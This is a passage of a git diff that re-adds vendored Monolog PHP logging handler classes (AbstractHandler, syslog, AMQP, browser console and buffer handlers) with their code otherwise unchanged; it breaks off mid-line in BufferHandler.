Monolog\Logger; +use Monolog\ResettableInterface; + +/** + * Base Handler class providing the Handler structure + * + * @author Jordi Boggiano + */ +abstract class AbstractHandler implements HandlerInterface, ResettableInterface +{ + protected $level = Logger::DEBUG; + protected $bubble = true; + + /** + * @var FormatterInterface + */ + protected $formatter; + protected $processors = array(); + + /** + * @param int|string $level The minimum logging level at which this handler will be triggered + * @param bool $bubble Whether the messages that are handled can bubble up the stack or not + */ + public function __construct($level = Logger::DEBUG, $bubble = true) + { + $this->setLevel($level); + $this->bubble = $bubble; + } + + /** + * {@inheritdoc} + */ + public function isHandling(array $record) + { + return $record['level'] >= $this->level; + } + + /** + * {@inheritdoc} + */ + public function handleBatch(array $records) + { + foreach ($records as $record) { + $this->handle($record); + } + } + + /** + * Closes the handler. + * + * This will be called automatically when the object is destroyed + */ + public function close() + { + } + + /** + * {@inheritdoc} + */ + public function pushProcessor($callback) + { + if (!is_callable($callback)) { + throw new \InvalidArgumentException('Processors must be valid callables (callback or object with an __invoke method), '.var_export($callback, true).' given'); + } + array_unshift($this->processors, $callback); + + return $this; + } + + /** + * {@inheritdoc} + */ + public function popProcessor() + { + if (!$this->processors) { + throw new \LogicException('You tried to pop from an empty processor stack.'); + } + + return array_shift($this->processors); + } + + /** + * {@inheritdoc} + */ + public function setFormatter(FormatterInterface $formatter) + { + $this->formatter = $formatter; + + return $this; + } + + /** + * {@inheritdoc} + */ + public function getFormatter() + { + if (!$this->formatter) { + $this->formatter = $this->getDefaultFormatter(); + } + + return $this->formatter; + } + + /** + * Sets minimum logging level at which this handler will be triggered. + * + * @param int|string $level Level or level name + * @return self + */ + public function setLevel($level) + { + $this->level = Logger::toMonologLevel($level); + + return $this; + } + + /** + * Gets minimum logging level at which this handler will be triggered. + * + * @return int + */ + public function getLevel() + { + return $this->level; + } + + /** + * Sets the bubbling behavior. + * + * @param bool $bubble true means that this handler allows bubbling. + * false means that bubbling is not permitted. + * @return self + */ + public function setBubble($bubble) + { + $this->bubble = $bubble; + + return $this; + } + + /** + * Gets the bubbling behavior. + * + * @return bool true means that this handler allows bubbling. + * false means that bubbling is not permitted. + */ + public function getBubble() + { + return $this->bubble; + } + + public function __destruct() + { + try { + $this->close(); + } catch (\Exception $e) { + // do nothing + } catch (\Throwable $e) { + // do nothing + } + } + + public function reset() + { + foreach ($this->processors as $processor) { + if ($processor instanceof ResettableInterface) { + $processor->reset(); + } + } + } + + /** + * Gets the default formatter. + * + * @return FormatterInterface + */ + protected function getDefaultFormatter() + { + return new LineFormatter(); + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/AbstractProcessingHandler.php b/vendor/monolog/monolog/src/Monolog/Handler/AbstractProcessingHandler.php index 9dbec4004e..e1e89530ad 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/AbstractProcessingHandler.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/AbstractProcessingHandler.php @@ -1,68 +1,68 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\ResettableInterface; - -/** - * Base Handler class providing the Handler structure - * - * Classes extending it should (in most cases) only implement write($record) - * - * @author Jordi Boggiano - * @author Christophe Coevoet - */ -abstract class AbstractProcessingHandler extends AbstractHandler -{ - /** - * {@inheritdoc} - */ - public function handle(array $record) - { - if (!$this->isHandling($record)) { - return false; - } - - $record = $this->processRecord($record); - - $record['formatted'] = $this->getFormatter()->format($record); - - $this->write($record); - - return false === $this->bubble; - } - - /** - * Writes the record down to the log of the implementing handler - * - * @param array $record - * @return void - */ - abstract protected function write(array $record); - - /** - * Processes a record. - * - * @param array $record - * @return array - */ - protected function processRecord(array $record) - { - if ($this->processors) { - foreach ($this->processors as $processor) { - $record = call_user_func($processor, $record); - } - } - - return $record; - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +use Monolog\ResettableInterface; + +/** + * Base Handler class providing the Handler structure + * + * Classes extending it should (in most cases) only implement write($record) + * + * @author Jordi Boggiano + * @author Christophe Coevoet + */ +abstract class AbstractProcessingHandler extends AbstractHandler +{ + /** + * {@inheritdoc} + */ + public function handle(array $record) + { + if (!$this->isHandling($record)) { + return false; + } + + $record = $this->processRecord($record); + + $record['formatted'] = $this->getFormatter()->format($record); + + $this->write($record); + + return false === $this->bubble; + } + + /** + * Writes the record down to the log of the implementing handler + * + * @param array $record + * @return void + */ + abstract protected function write(array $record); + + /** + * Processes a record. + * + * @param array $record + * @return array + */ + protected function processRecord(array $record) + { + if ($this->processors) { + foreach ($this->processors as $processor) { + $record = call_user_func($processor, $record); + } + } + + return $record; + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/AbstractSyslogHandler.php b/vendor/monolog/monolog/src/Monolog/Handler/AbstractSyslogHandler.php index 2f3ac86da3..8c76aca0b1 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/AbstractSyslogHandler.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/AbstractSyslogHandler.php @@ -1,101 +1,101 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\Logger; -use Monolog\Formatter\LineFormatter; - -/** - * Common syslog functionality - */ -abstract class AbstractSyslogHandler extends AbstractProcessingHandler -{ - protected $facility; - - /** - * Translates Monolog log levels to syslog log priorities. - */ - protected $logLevels = array( - Logger::DEBUG => LOG_DEBUG, - Logger::INFO => LOG_INFO, - Logger::NOTICE => LOG_NOTICE, - Logger::WARNING => LOG_WARNING, - Logger::ERROR => LOG_ERR, - Logger::CRITICAL => LOG_CRIT, - Logger::ALERT => LOG_ALERT, - Logger::EMERGENCY => LOG_EMERG, - ); - - /** - * List of valid log facility names. - */ - protected $facilities = array( - 'auth' => LOG_AUTH, - 'authpriv' => LOG_AUTHPRIV, - 'cron' => LOG_CRON, - 'daemon' => LOG_DAEMON, - 'kern' => LOG_KERN, - 'lpr' => LOG_LPR, - 'mail' => LOG_MAIL, - 'news' => LOG_NEWS, - 'syslog' => LOG_SYSLOG, - 'user' => LOG_USER, - 'uucp' => LOG_UUCP, - ); - - /** - * @param mixed $facility - * @param int $level The minimum logging level at which this handler will be triggered - * @param bool $bubble Whether the messages that are handled can bubble up the stack or not - */ - public function __construct($facility = LOG_USER, $level = Logger::DEBUG, $bubble = true) - { - parent::__construct($level, $bubble); - - if (!defined('PHP_WINDOWS_VERSION_BUILD')) { - $this->facilities['local0'] = LOG_LOCAL0; - $this->facilities['local1'] = LOG_LOCAL1; - $this->facilities['local2'] = LOG_LOCAL2; - $this->facilities['local3'] = LOG_LOCAL3; - $this->facilities['local4'] = LOG_LOCAL4; - $this->facilities['local5'] = LOG_LOCAL5; - $this->facilities['local6'] = LOG_LOCAL6; - $this->facilities['local7'] = LOG_LOCAL7; - } else { - $this->facilities['local0'] = 128; // LOG_LOCAL0 - $this->facilities['local1'] = 136; // LOG_LOCAL1 - $this->facilities['local2'] = 144; // LOG_LOCAL2 - $this->facilities['local3'] = 152; // LOG_LOCAL3 - $this->facilities['local4'] = 160; // LOG_LOCAL4 - $this->facilities['local5'] = 168; // LOG_LOCAL5 - $this->facilities['local6'] = 176; // LOG_LOCAL6 - $this->facilities['local7'] = 184; // LOG_LOCAL7 - } - - // convert textual description of facility to syslog constant - if (array_key_exists(strtolower($facility), $this->facilities)) { - $facility = $this->facilities[strtolower($facility)]; - } elseif (!in_array($facility, array_values($this->facilities), true)) { - throw new \UnexpectedValueException('Unknown facility value "'.$facility.'" given'); - } - - $this->facility = $facility; - } - - /** - * {@inheritdoc} - */ - protected function getDefaultFormatter() - { - return new LineFormatter('%channel%.%level_name%: %message% %context% %extra%'); - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +use Monolog\Logger; +use Monolog\Formatter\LineFormatter; + +/** + * Common syslog functionality + */ +abstract class AbstractSyslogHandler extends AbstractProcessingHandler +{ + protected $facility; + + /** + * Translates Monolog log levels to syslog log priorities. + */ + protected $logLevels = array( + Logger::DEBUG => LOG_DEBUG, + Logger::INFO => LOG_INFO, + Logger::NOTICE => LOG_NOTICE, + Logger::WARNING => LOG_WARNING, + Logger::ERROR => LOG_ERR, + Logger::CRITICAL => LOG_CRIT, + Logger::ALERT => LOG_ALERT, + Logger::EMERGENCY => LOG_EMERG, + ); + + /** + * List of valid log facility names. + */ + protected $facilities = array( + 'auth' => LOG_AUTH, + 'authpriv' => LOG_AUTHPRIV, + 'cron' => LOG_CRON, + 'daemon' => LOG_DAEMON, + 'kern' => LOG_KERN, + 'lpr' => LOG_LPR, + 'mail' => LOG_MAIL, + 'news' => LOG_NEWS, + 'syslog' => LOG_SYSLOG, + 'user' => LOG_USER, + 'uucp' => LOG_UUCP, + ); + + /** + * @param mixed $facility + * @param int $level The minimum logging level at which this handler will be triggered + * @param bool $bubble Whether the messages that are handled can bubble up the stack or not + */ + public function __construct($facility = LOG_USER, $level = Logger::DEBUG, $bubble = true) + { + parent::__construct($level, $bubble); + + if (!defined('PHP_WINDOWS_VERSION_BUILD')) { + $this->facilities['local0'] = LOG_LOCAL0; + $this->facilities['local1'] = LOG_LOCAL1; + $this->facilities['local2'] = LOG_LOCAL2; + $this->facilities['local3'] = LOG_LOCAL3; + $this->facilities['local4'] = LOG_LOCAL4; + $this->facilities['local5'] = LOG_LOCAL5; + $this->facilities['local6'] = LOG_LOCAL6; + $this->facilities['local7'] = LOG_LOCAL7; + } else { + $this->facilities['local0'] = 128; // LOG_LOCAL0 + $this->facilities['local1'] = 136; // LOG_LOCAL1 + $this->facilities['local2'] = 144; // LOG_LOCAL2 + $this->facilities['local3'] = 152; // LOG_LOCAL3 + $this->facilities['local4'] = 160; // LOG_LOCAL4 + $this->facilities['local5'] = 168; // LOG_LOCAL5 + $this->facilities['local6'] = 176; // LOG_LOCAL6 + $this->facilities['local7'] = 184; // LOG_LOCAL7 + } + + // convert textual description of facility to syslog constant + if (array_key_exists(strtolower($facility), $this->facilities)) { + $facility = $this->facilities[strtolower($facility)]; + } elseif (!in_array($facility, array_values($this->facilities), true)) { + throw new \UnexpectedValueException('Unknown facility value "'.$facility.'" given'); + } + + $this->facility = $facility; + } + + /** + * {@inheritdoc} + */ + protected function getDefaultFormatter() + { + return new LineFormatter('%channel%.%level_name%: %message% %context% %extra%'); + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/AmqpHandler.php b/vendor/monolog/monolog/src/Monolog/Handler/AmqpHandler.php index fef4d8ddae..e5a46bc0d5 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/AmqpHandler.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/AmqpHandler.php @@ -1,148 +1,148 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\Logger; -use Monolog\Formatter\JsonFormatter; -use PhpAmqpLib\Message\AMQPMessage; -use PhpAmqpLib\Channel\AMQPChannel; -use AMQPExchange; - -class AmqpHandler extends AbstractProcessingHandler -{ - /** - * @var AMQPExchange|AMQPChannel $exchange - */ - protected $exchange; - - /** - * @var string - */ - protected $exchangeName; - - /** - * @param AMQPExchange|AMQPChannel $exchange AMQPExchange (php AMQP ext) or PHP AMQP lib channel, ready for use - * @param string $exchangeName - * @param int $level - * @param bool $bubble Whether the messages that are handled can bubble up the stack or not - */ - public function __construct($exchange, $exchangeName = 'log', $level = Logger::DEBUG, $bubble = true) - { - if ($exchange instanceof AMQPExchange) { - $exchange->setName($exchangeName); - } elseif ($exchange instanceof AMQPChannel) { - $this->exchangeName = $exchangeName; - } else { - throw new \InvalidArgumentException('PhpAmqpLib\Channel\AMQPChannel or AMQPExchange instance required'); - } - $this->exchange = $exchange; - - parent::__construct($level, $bubble); - } - - /** - * {@inheritDoc} - */ - protected function write(array $record) - { - $data = $record["formatted"]; - $routingKey = $this->getRoutingKey($record); - - if ($this->exchange instanceof AMQPExchange) { - $this->exchange->publish( - $data, - $routingKey, - 0, - array( - 'delivery_mode' => 2, - 'content_type' => 'application/json', - ) - ); - } else { - $this->exchange->basic_publish( - $this->createAmqpMessage($data), - $this->exchangeName, - $routingKey - ); - } - } - - /** - * {@inheritDoc} - */ - public function handleBatch(array $records) - { - if ($this->exchange instanceof AMQPExchange) { - parent::handleBatch($records); - - return; - } - - foreach ($records as $record) { - if (!$this->isHandling($record)) { - continue; - } - - $record = $this->processRecord($record); - $data = $this->getFormatter()->format($record); - - $this->exchange->batch_basic_publish( - $this->createAmqpMessage($data), - $this->exchangeName, - $this->getRoutingKey($record) - ); - } - - $this->exchange->publish_batch(); - } - - /** - * Gets the routing key for the AMQP exchange - * - * @param array $record - * @return string - */ - protected function getRoutingKey(array $record) - { - $routingKey = sprintf( - '%s.%s', - // TODO 2.0 remove substr call - substr($record['level_name'], 0, 4), - $record['channel'] - ); - - return strtolower($routingKey); - } - - /** - * @param string $data - * @return AMQPMessage - */ - private function createAmqpMessage($data) - { - return new AMQPMessage( - (string) $data, - array( - 'delivery_mode' => 2, - 'content_type' => 'application/json', - ) - ); - } - - /** - * {@inheritDoc} - */ - protected function getDefaultFormatter() - { - return new JsonFormatter(JsonFormatter::BATCH_MODE_JSON, false); - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +use Monolog\Logger; +use Monolog\Formatter\JsonFormatter; +use PhpAmqpLib\Message\AMQPMessage; +use PhpAmqpLib\Channel\AMQPChannel; +use AMQPExchange; + +class AmqpHandler extends AbstractProcessingHandler +{ + /** + * @var AMQPExchange|AMQPChannel $exchange + */ + protected $exchange; + + /** + * @var string + */ + protected $exchangeName; + + /** + * @param AMQPExchange|AMQPChannel $exchange AMQPExchange (php AMQP ext) or PHP AMQP lib channel, ready for use + * @param string $exchangeName + * @param int $level + * @param bool $bubble Whether the messages that are handled can bubble up the stack or not + */ + public function __construct($exchange, $exchangeName = 'log', $level = Logger::DEBUG, $bubble = true) + { + if ($exchange instanceof AMQPExchange) { + $exchange->setName($exchangeName); + } elseif ($exchange instanceof AMQPChannel) { + $this->exchangeName = $exchangeName; + } else { + throw new \InvalidArgumentException('PhpAmqpLib\Channel\AMQPChannel or AMQPExchange instance required'); + } + $this->exchange = $exchange; + + parent::__construct($level, $bubble); + } + + /** + * {@inheritDoc} + */ + protected function write(array $record) + { + $data = $record["formatted"]; + $routingKey = $this->getRoutingKey($record); + + if ($this->exchange instanceof AMQPExchange) { + $this->exchange->publish( + $data, + $routingKey, + 0, + array( + 'delivery_mode' => 2, + 'content_type' => 'application/json', + ) + ); + } else { + $this->exchange->basic_publish( + $this->createAmqpMessage($data), + $this->exchangeName, + $routingKey + ); + } + } + + /** + * {@inheritDoc} + */ + public function handleBatch(array $records) + { + if ($this->exchange instanceof AMQPExchange) { + parent::handleBatch($records); + + return; + } + + foreach ($records as $record) { + if (!$this->isHandling($record)) { + continue; + } + + $record = $this->processRecord($record); + $data = $this->getFormatter()->format($record); + + $this->exchange->batch_basic_publish( + $this->createAmqpMessage($data), + $this->exchangeName, + $this->getRoutingKey($record) + ); + } + + $this->exchange->publish_batch(); + } + + /** + * Gets the routing key for the AMQP exchange + * + * @param array $record + * @return string + */ + protected function getRoutingKey(array $record) + { + $routingKey = sprintf( + '%s.%s', + // TODO 2.0 remove substr call + substr($record['level_name'], 0, 4), + $record['channel'] + ); + + return strtolower($routingKey); + } + + /** + * @param string $data + * @return AMQPMessage + */ + private function createAmqpMessage($data) + { + return new AMQPMessage( + (string) $data, + array( + 'delivery_mode' => 2, + 'content_type' => 'application/json', + ) + ); + } + + /** + * {@inheritDoc} + */ + protected function getDefaultFormatter() + { + return new JsonFormatter(JsonFormatter::BATCH_MODE_JSON, false); + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/BrowserConsoleHandler.php b/vendor/monolog/monolog/src/Monolog/Handler/BrowserConsoleHandler.php index 956231b2d6..68feb48081 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/BrowserConsoleHandler.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/BrowserConsoleHandler.php @@ -1,241 +1,241 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\Formatter\LineFormatter; - -/** - * Handler sending logs to browser's javascript console with no browser extension required - * - * @author Olivier Poitrey - */ -class BrowserConsoleHandler extends AbstractProcessingHandler -{ - protected static $initialized = false; - protected static $records = array(); - - /** - * {@inheritDoc} - * - * Formatted output may contain some formatting markers to be transferred to `console.log` using the %c format. - * - * Example of formatted string: - * - * You can do [[blue text]]{color: blue} or [[green background]]{background-color: green; color: white} - */ - protected function getDefaultFormatter() - { - return new LineFormatter('[[%channel%]]{macro: autolabel} [[%level_name%]]{font-weight: bold} %message%'); - } - - /** - * {@inheritDoc} - */ - protected function write(array $record) - { - // Accumulate records - static::$records[] = $record; - - // Register shutdown handler if not already done - if (!static::$initialized) { - static::$initialized = true; - $this->registerShutdownFunction(); - } - } - - /** - * Convert records to javascript console commands and send it to the browser. - * This method is automatically called on PHP shutdown if output is HTML or Javascript. - */ - public static function send() - { - $format = static::getResponseFormat(); - if ($format === 'unknown') { - return; - } - - if (count(static::$records)) { - if ($format === 'html') { - static::writeOutput(''); - } elseif ($format === 'js') { - static::writeOutput(static::generateScript()); - } - static::resetStatic(); - } - } - - public function close() - { - self::resetStatic(); - } - - public function reset() - { - self::resetStatic(); - } - - /** - * Forget all logged records - */ - public static function resetStatic() - { - static::$records = array(); - } - - /** - * Wrapper for register_shutdown_function to allow overriding - */ - protected function registerShutdownFunction() - { - if (PHP_SAPI !== 'cli') { - register_shutdown_function(array('Monolog\Handler\BrowserConsoleHandler', 'send')); - } - } - - /** - * Wrapper for echo to allow overriding - * - * @param string $str - */ - protected static function writeOutput($str) - { - echo $str; - } - - /** - * Checks the format of the response - * - * If Content-Type is set to application/javascript or text/javascript -> js - * If Content-Type is set to text/html, or is unset -> html - * If Content-Type is anything else -> unknown - * - * @return string One of 'js', 'html' or 'unknown' - */ - protected static function getResponseFormat() - { - // Check content type - foreach (headers_list() as $header) { - if (stripos($header, 'content-type:') === 0) { - // This handler only works with HTML and javascript outputs - // text/javascript is obsolete in favour of application/javascript, but still used - if (stripos($header, 'application/javascript') !== false || stripos($header, 'text/javascript') !== false) { - return 'js'; - } - if (stripos($header, 'text/html') === false) { - return 'unknown'; - } - break; - } - } - - return 'html'; - } - - private static function generateScript() - { - $script = array(); - foreach (static::$records as $record) { - $context = static::dump('Context', $record['context']); - $extra = static::dump('Extra', $record['extra']); - - if (empty($context) && empty($extra)) { - $script[] = static::call_array('log', static::handleStyles($record['formatted'])); - } else { - $script = array_merge($script, - array(static::call_array('groupCollapsed', static::handleStyles($record['formatted']))), - $context, - $extra, - array(static::call('groupEnd')) - ); - } - } - - return "(function (c) {if (c && c.groupCollapsed) {\n" . implode("\n", $script) . "\n}})(console);"; - } - - private static function handleStyles($formatted) - { - $args = array(); - $format = '%c' . $formatted; - preg_match_all('/\[\[(.*?)\]\]\{([^}]*)\}/s', $format, $matches, PREG_OFFSET_CAPTURE | PREG_SET_ORDER); - - foreach (array_reverse($matches) as $match) { - $args[] = '"font-weight: normal"'; - $args[] = static::quote(static::handleCustomStyles($match[2][0], $match[1][0])); - - $pos = $match[0][1]; - $format = substr($format, 0, $pos) . '%c' . $match[1][0] . '%c' . substr($format, $pos + strlen($match[0][0])); - } - - $args[] = static::quote('font-weight: normal'); - $args[] = static::quote($format); - - return array_reverse($args); - } - - private static function handleCustomStyles($style, $string) - { - static $colors = array('blue', 'green', 'red', 'magenta', 'orange', 'black', 'grey'); - static $labels = array(); - - return preg_replace_callback('/macro\s*:(.*?)(?:;|$)/', function ($m) use ($string, &$colors, &$labels) { - if (trim($m[1]) === 'autolabel') { - // Format the string as a label with consistent auto assigned background color - if (!isset($labels[$string])) { - $labels[$string] = $colors[count($labels) % count($colors)]; - } - $color = $labels[$string]; - - return "background-color: $color; color: white; border-radius: 3px; padding: 0 2px 0 2px"; - } - - return $m[1]; - }, $style); - } - - private static function dump($title, array $dict) - { - $script = array(); - $dict = array_filter($dict); - if (empty($dict)) { - return $script; - } - $script[] = static::call('log', static::quote('%c%s'), static::quote('font-weight: bold'), static::quote($title)); - foreach ($dict as $key => $value) { - $value = json_encode($value); - if (empty($value)) { - $value = static::quote(''); - } - $script[] = static::call('log', static::quote('%s: %o'), static::quote($key), $value); - } - - return $script; - } - - private static function quote($arg) - { - return '"' . addcslashes($arg, "\"\n\\") . '"'; - } - - private static function call() - { - $args = func_get_args(); - $method = array_shift($args); - - return static::call_array($method, $args); - } - - private static function call_array($method, array $args) - { - return 'c.' . $method . '(' . implode(', ', $args) . ');'; - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +use Monolog\Formatter\LineFormatter; + +/** + * Handler sending logs to browser's javascript console with no browser extension required + * + * @author Olivier Poitrey + */ +class BrowserConsoleHandler extends AbstractProcessingHandler +{ + protected static $initialized = false; + protected static $records = array(); + + /** + * {@inheritDoc} + * + * Formatted output may contain some formatting markers to be transferred to `console.log` using the %c format. + * + * Example of formatted string: + * + * You can do [[blue text]]{color: blue} or [[green background]]{background-color: green; color: white} + */ + protected function getDefaultFormatter() + { + return new LineFormatter('[[%channel%]]{macro: autolabel} [[%level_name%]]{font-weight: bold} %message%'); + } + + /** + * {@inheritDoc} + */ + protected function write(array $record) + { + // Accumulate records + static::$records[] = $record; + + // Register shutdown handler if not already done + if (!static::$initialized) { + static::$initialized = true; + $this->registerShutdownFunction(); + } + } + + /** + * Convert records to javascript console commands and send it to the browser. + * This method is automatically called on PHP shutdown if output is HTML or Javascript. + */ + public static function send() + { + $format = static::getResponseFormat(); + if ($format === 'unknown') { + return; + } + + if (count(static::$records)) { + if ($format === 'html') { + static::writeOutput(''); + } elseif ($format === 'js') { + static::writeOutput(static::generateScript()); + } + static::resetStatic(); + } + } + + public function close() + { + self::resetStatic(); + } + + public function reset() + { + self::resetStatic(); + } + + /** + * Forget all logged records + */ + public static function resetStatic() + { + static::$records = array(); + } + + /** + * Wrapper for register_shutdown_function to allow overriding + */ + protected function registerShutdownFunction() + { + if (PHP_SAPI !== 'cli') { + register_shutdown_function(array('Monolog\Handler\BrowserConsoleHandler', 'send')); + } + } + + /** + * Wrapper for echo to allow overriding + * + * @param string $str + */ + protected static function writeOutput($str) + { + echo $str; + } + + /** + * Checks the format of the response + * + * If Content-Type is set to application/javascript or text/javascript -> js + * If Content-Type is set to text/html, or is unset -> html + * If Content-Type is anything else -> unknown + * + * @return string One of 'js', 'html' or 'unknown' + */ + protected static function getResponseFormat() + { + // Check content type + foreach (headers_list() as $header) { + if (stripos($header, 'content-type:') === 0) { + // This handler only works with HTML and javascript outputs + // text/javascript is obsolete in favour of application/javascript, but still used + if (stripos($header, 'application/javascript') !== false || stripos($header, 'text/javascript') !== false) { + return 'js'; + } + if (stripos($header, 'text/html') === false) { + return 'unknown'; + } + break; + } + } + + return 'html'; + } + + private static function generateScript() + { + $script = array(); + foreach (static::$records as $record) { + $context = static::dump('Context', $record['context']); + $extra = static::dump('Extra', $record['extra']); + + if (empty($context) && empty($extra)) { + $script[] = static::call_array('log', static::handleStyles($record['formatted'])); + } else { + $script = array_merge($script, + array(static::call_array('groupCollapsed', static::handleStyles($record['formatted']))), + $context, + $extra, + array(static::call('groupEnd')) + ); + } + } + + return "(function (c) {if (c && c.groupCollapsed) {\n" . implode("\n", $script) . "\n}})(console);"; + } + + private static function handleStyles($formatted) + { + $args = array(); + $format = '%c' . $formatted; + preg_match_all('/\[\[(.*?)\]\]\{([^}]*)\}/s', $format, $matches, PREG_OFFSET_CAPTURE | PREG_SET_ORDER); + + foreach (array_reverse($matches) as $match) { + $args[] = '"font-weight: normal"'; + $args[] = static::quote(static::handleCustomStyles($match[2][0], $match[1][0])); + + $pos = $match[0][1]; + $format = substr($format, 0, $pos) . '%c' . $match[1][0] . '%c' . substr($format, $pos + strlen($match[0][0])); + } + + $args[] = static::quote('font-weight: normal'); + $args[] = static::quote($format); + + return array_reverse($args); + } + + private static function handleCustomStyles($style, $string) + { + static $colors = array('blue', 'green', 'red', 'magenta', 'orange', 'black', 'grey'); + static $labels = array(); + + return preg_replace_callback('/macro\s*:(.*?)(?:;|$)/', function ($m) use ($string, &$colors, &$labels) { + if (trim($m[1]) === 'autolabel') { + // Format the string as a label with consistent auto assigned background color + if (!isset($labels[$string])) { + $labels[$string] = $colors[count($labels) % count($colors)]; + } + $color = $labels[$string]; + + return "background-color: $color; color: white; border-radius: 3px; padding: 0 2px 0 2px"; + } + + return $m[1]; + }, $style); + } + + private static function dump($title, array $dict) + { + $script = array(); + $dict = array_filter($dict); + if (empty($dict)) { + return $script; + } + $script[] = static::call('log', static::quote('%c%s'), static::quote('font-weight: bold'), static::quote($title)); + foreach ($dict as $key => $value) { + $value = json_encode($value); + if (empty($value)) { + $value = static::quote(''); + } + $script[] = static::call('log', static::quote('%s: %o'), static::quote($key), $value); + } + + return $script; + } + + private static function quote($arg) + { + return '"' . addcslashes($arg, "\"\n\\") . '"'; + } + + private static function call() + { + $args = func_get_args(); + $method = array_shift($args); + + return static::call_array($method, $args); + } + + private static function call_array($method, array $args) + { + return 'c.' . $method . '(' . implode(', ', $args) . ');'; + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/BufferHandler.php b/vendor/monolog/monolog/src/Monolog/Handler/BufferHandler.php index 430066b5cc..0957e55808 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/BufferHandler.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/BufferHandler.php @@ -1,148 +1,148 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\Logger; -use Monolog\ResettableInterface; -use Monolog\Formatter\FormatterInterface; - -/** - * Buffers all records until closing the handler and then pass them as batch. - * - * This is useful for a MailHandler to send only one mail per request instead of - * sending one per log message. - * - * @author Christophe Coevoet - */ -class BufferHandler extends AbstractHandler -{ - protected $handler; - protected $bufferSize = 0; - protected $bufferLimit; - protected $flushOnOverflow; - protected $buffer = array(); - protected $initialized = false; - - /** - * @param HandlerInterface $handler Handler. - * @param int $bufferLimit How many entries should be buffered at most, beyond that the oldest items are removed from the buffer. - * @param int $level The minimum logging level at which this handler will be triggered - * @param bool $bubble Whether the messages that are handled can bubble up the stack or not - * @param bool $flushOnOverflow If true, the buffer is flushed when the max size has been reached, by default oldest entries are discarded - */ - public function __construct(HandlerInterface $handler, $bufferLimit = 0, $level = Logger::DEBUG, $bubble = true, $flushOnOverflow = false) - { - parent::__construct($level, $bubble); - $this->handler = $handler; - $this->bufferLimit = (int) $bufferLimit; - $this->flushOnOverflow = $flushOnOverflow; - } - - /** - * {@inheritdoc} - */ - public function handle(array $record) - { - if ($record['level'] < $this->level) { - return false; - } - - if (!$this->initialized) { - // __destructor() doesn't get called on Fatal errors - register_shutdown_function(array($this, 'close')); - $this->initialized = true; - } - - if ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) { - if ($this->flushOnOverflow) { - $this->flush(); - } else { - array_shift($this->buffer); - $this->bufferSize--; - } - } - - if ($this->processors) { - foreach ($this->processors as $processor) { - $record = call_user_func($processor, $record); - } - } - - $this->buffer[] = $record; - $this->bufferSize++; - - return false === $this->bubble; - } - - public function flush() - { - if ($this->bufferSize === 0) { - return; - } - - $this->handler->handleBatch($this->buffer); - $this->clear(); - } - - public function __destruct() - { - // suppress the parent behavior since we already have register_shutdown_function() - // to call close(), and the reference contained there will prevent this from being - // GC'd until the end of the request - } - - /** - * {@inheritdoc} - */ - public function close() - { - $this->flush(); - } - - /** - * Clears the buffer without flushing any messages down to the wrapped handler. - */ - public function clear() - { - $this->bufferSize = 0; - $this->buffer = array(); - } - - public function reset() - { - $this->flush(); - - parent::reset(); - - if ($this->handler instanceof ResettableInterface) { - $this->handler->reset(); - } - } - - /** - * {@inheritdoc} - */ - public function setFormatter(FormatterInterface $formatter) - { - $this->handler->setFormatter($formatter); - - return $this; - } - - /** - * {@inheritdoc} - */ - public function getFormatter() - { - return $this->handler->getFormatter(); - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +use Monolog\Logger; +use Monolog\ResettableInterface; +use Monolog\Formatter\FormatterInterface; + +/** + * Buffers all records until closing the handler and then pass them as batch. + * + * This is useful for a MailHandler to send only one mail per request instead of + * sending one per log message. + * + * @author Christophe Coevoet + */ +class BufferHandler extends AbstractHandler +{ + protected $handler; + protected $bufferSize = 0; + protected $bufferLimit; + protected $flushOnOverflow; + protected $buffer = array(); + protected $initialized = false; + + /** + * @param HandlerInterface $handler Handler. + * @param int $bufferLimit How many entries should be buffered at most, beyond that the oldest items are removed from the buffer. + * @param int $level The minimum logging level at which this handler will be triggered + * @param bool $bubble Whether the messages that are handled can bubble up the stack or not + * @param bool $flushOnOverflow If true, the buffer is flushed when the max size has been reached, by default oldest entries are discarded + */ + public function __construct(HandlerInterface $handler, $bufferLimit = 0, $level = Logger::DEBUG, $bubble = true, $flushOnOverflow = false) + { + parent::__construct($level, $bubble); + $this->handler = $handler; + $this->bufferLimit = (int) $bufferLimit; + $this->flushOnOverflow = $flushOnOverflow; + } + + /** + * {@inheritdoc} + */ + public function handle(array $record) + { + if ($record['level'] < $this->level) { + return false; + } + + if (!$this->initialized) { + // __destructor() doesn't get called on Fatal errors + register_shutdown_function(array($this, 'close')); + $this->initialized = true; + } + + if ($this->bufferLimit > 0 && $this->bufferSize === 